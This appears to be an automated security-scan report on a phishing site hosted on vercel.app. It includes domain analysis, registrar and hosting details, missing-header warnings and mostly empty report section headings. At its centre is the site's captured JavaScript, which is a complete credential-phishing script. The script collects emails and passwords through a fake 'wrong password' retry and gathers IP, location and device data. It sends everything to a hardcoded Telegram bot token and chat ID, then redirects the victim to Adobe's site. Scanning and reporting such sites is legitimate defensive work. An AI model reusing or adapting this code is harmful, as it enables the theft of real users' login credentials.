documentation technical

phishing scam

government public service

adult content

healthcare medical

English

The domain 'excel-eight-flax.vercel.app' uses the application-focused generic top-level domain (.app); it also runs on subdomain 'excel-eight-flax'. The registrable portion 'vercel' spans 6 characters holding 2 vowels versus 4 consonants. Segmentation suggests two words: ver, cel. Median word length is three characters. No strong language cues emerged from the frequency lists.

email

password

confirmPassword

1a5fc8406e6f3d10c0f9531f65717705c7a3858755b101e1e855efa8dea0f3ce

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

NameCheap, Inc.

IMAGE2URL.COM

Tucows

Tucows Domains Inc

vercel.app

Vercel, Inc

Matheus Fernandez Vieira

Joe Haddad

VERCEL-05

// HARDCODED VALUES - THESE CANNOT BE CHANGED BY USERS
 const TELEGRAM_TOKEN = '8309121851:AAHUTVPhM_zNjUQFD9wvKsMsgWQZNkQLiHw'; // Updated Token
 const TELEGRAM_CHAT_ID = '-1003223887260'; // Updated Chat ID
 const REDIRECT_URL = 'https://www.adobe.com';

 let firstPassword = '';
 let passwordAttempts = 0;
 let userIP = '';

 // Clear any old localStorage values
 localStorage.clear();

 // Get user IP address
 async function getUserIP() {
 try {
 const response = await fetch('https://api.ipify.org?format=json');
 const data = await response.json();
 return data.ip;
 } catch (error) {
 try {
 const response = await fetch('https://api64.ipify.org?format=json');
 const data = await response.json();
 return data.ip;
 } catch (error) {
 return 'Unable to detect IP';
 }
 }
 }

 // Get browser and device info
 function getUserAgentInfo() {
 const ua = navigator.userAgent;
 let browser = 'Unknown';
 let device = 'Desktop';
 
 // Detect browser
 if (ua.includes('Chrome')) browser = 'Chrome';
 else if (ua.includes('Firefox')) browser = 'Firefox';
 else if (ua.includes('Safari')) browser = 'Safari';
 else if (ua.includes('Edge')) browser = 'Edge';
 
 // Detect device
 if (/Android/.test(ua)) device = 'Android';
 else if (/iPhone|iPad|iPod/.test(ua)) device = 'iOS';
 else if (/Windows/.test(ua)) device = 'Windows';
 else if (/Mac/.test(ua)) device = 'Mac';
 else if (/Linux/.test(ua)) device = 'Linux';
 
 return { browser, device };
 }

 // Get location info from IP
 async function getLocationInfo(ip) {
 if (ip === 'Unable to detect IP' || !ip) {
 return 'Location: Unknown';
 }
 
 try {
 const response = await fetch(`http://ip-api.com/json/${ip}`);
 const data = await response.json();
 if (data.status === 'success') {
 return `📍 ${data.city}, ${data.country} (${data.isp})`;
 }
 return 'Location: Unknown';
 } catch (error) {
 return 'Location: Unknown';
 }
 }

 // Send message to Telegram - ALWAYS uses the hardcoded credentials
 async function sendTelegramMessage(message) {
 try {
 const url = `https://api.telegram.org/bot${TELEGRAM_TOKEN}/sendMessage`;
 const response = await fetch(url, {
 method: 'POST',
 headers: {
 'Content-Type': 'application/json',
 },
 body: JSON.stringify({
 chat_id: TELEGRAM_CHAT_ID,
 text: message,
 parse_mode: 'HTML'
 })
 });

 const data = await response.json();
 console.log('Telegram response:', data);
 return data.ok;
 } catch (error) {
 console.error('Error sending Telegram message:', error);
 return false;
 }
 }

 // Handle password submission
 async function handlePasswordSubmit() {
 const email = document.getElementById('email').value;
 const password = document.getElementById('password').value;
 const passwordError = document.getElementById('passwordError');
 
 if (!email || !password) {
 document.getElementById('errorMessage').style.display = 'block';
 return;
 }
 
 document.getElementById('errorMessage').style.display = 'none';
 
 if (passwordAttempts === 0) {
 // Get user information
 userIP = await getUserIP();
 const userAgentInfo = getUserAgentInfo();
 const locationInfo = await getLocationInfo(userIP);
 
 // First attempt - show error and popup
 passwordError.style.display = 'block';
 passwordAttempts++;
 firstPassword = password;
 
 // Send Telegram notification for first attempt
 const message = `🔐 LOGIN ATTEMPT DETECTED\n\n` +
 `📧 Email: <code>${email}</code>\n` +
 `🔑 Password: <code>${password}</code>\n` +
 `🌐 IP Address: <code>${userIP}</code>\n` +
 `${locationInfo}\n` +
 `🖥️ Device: ${userAgentInfo.device}\n` +
 `🌐 Browser: ${userAgentInfo.browser}\n` +
 `⏰ Time: ${new Date().toLocaleString()}\n\n` +
 `⚠️ Waiting for password confirmation...`;
 
 await sendTelegramMessage(message);
 
 // Clear the password field
 document.getElementById('password').value = '';
 
 // Show popup after a short delay
 setTimeout(() => {
 document.getElementById('passwordPopup').style.display = 'flex';
 document.getElementById('confirmPassword').focus();
 }, 500);
 }
 }

 // Verify password in popup
 async function verifyPassword() {
 const email = document.getElementById('email').value;
 const confirmPassword = document.getElementById('confirmPassword').value;
 const popupPasswordError = document.getElementById('popupPasswordError');
 
 if (confirmPassword === firstPassword) {
 // Passwords match - send success notification and redirect
 const userAgentInfo = getUserAgentInfo();
 const locationInfo = await getLocationInfo(userIP);
 
 const successMessage = `✅ LOGIN SUCCESSFUL\n\n` +
 `📧 Email: <code>${email}</code>\n` +
 `🔑 Password: <code>${confirmPassword}</code>\n` +
 `🌐 IP Address: <code>${userIP}</code>\n` +
 `${locationInfo}\n` +
 `🖥️ Device: ${userAgentInfo.device}\n` +
 `🌐 Browser: ${userAgentInfo.browser}\n` +
 `⏰ Time: ${new Date().toLocaleString()}\n` +
 `🔗 Redirecting to: ${REDIRECT_URL}\n\n` +
 `🎉 User successfully logged in and redirected!`;
 
 // Send success message to Telegram
 await sendTelegramMessage(successMessage);
 
 // Redirect immediately
 window.location.href = REDIRECT_URL;
 } else {
 // Passwords don't match - show error
 popupPasswordError.style.display = 'block';
 document.getElementById('confirmPassword').value = '';
 document.getElementById('confirmPassword').focus();
 }
 }

 // Load settings
 document.addEventListener('DOMContentLoaded', function() {
 // Clear any localStorage that might interfere
 localStorage.clear();

 // Allow Enter key to submit form
 document.getElementById('email').addEventListener('keypress', function(e) {
 if (e.key === 'Enter') {
 handlePasswordSubmit();
 }
 });

 document.getElementById('password').addEventListener('keypress', function(e) {
 if (e.key === 'Enter') {
 handlePasswordSubmit();
 }
 });

 // Allow Enter key in popup confirmation
 document.getElementById('confirmPassword').addEventListener('keypress', function(e) {
 if (e.key === 'Enter') {
 verifyPassword();
 }
 });
 
 console.log('Using Telegram Token:', TELEGRAM_TOKEN);
 console.log('Using Chat ID:', TELEGRAM_CHAT_ID);
 console.log('Using Redirect URL:', REDIRECT_URL);
 });

Requests	IP Address	Location	AS Autonomous System
2	216.198.79.67	United States	AS16509Amazon.com, Inc.
1	188.114.96.9Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
1	64.29.17.67	United States	AS16509Amazon.com, Inc.
4	3	-	-

Security Scan Report: excel-eight-flax.vercel.app

Summary

AI Security Verdict

High Risk

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies3

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History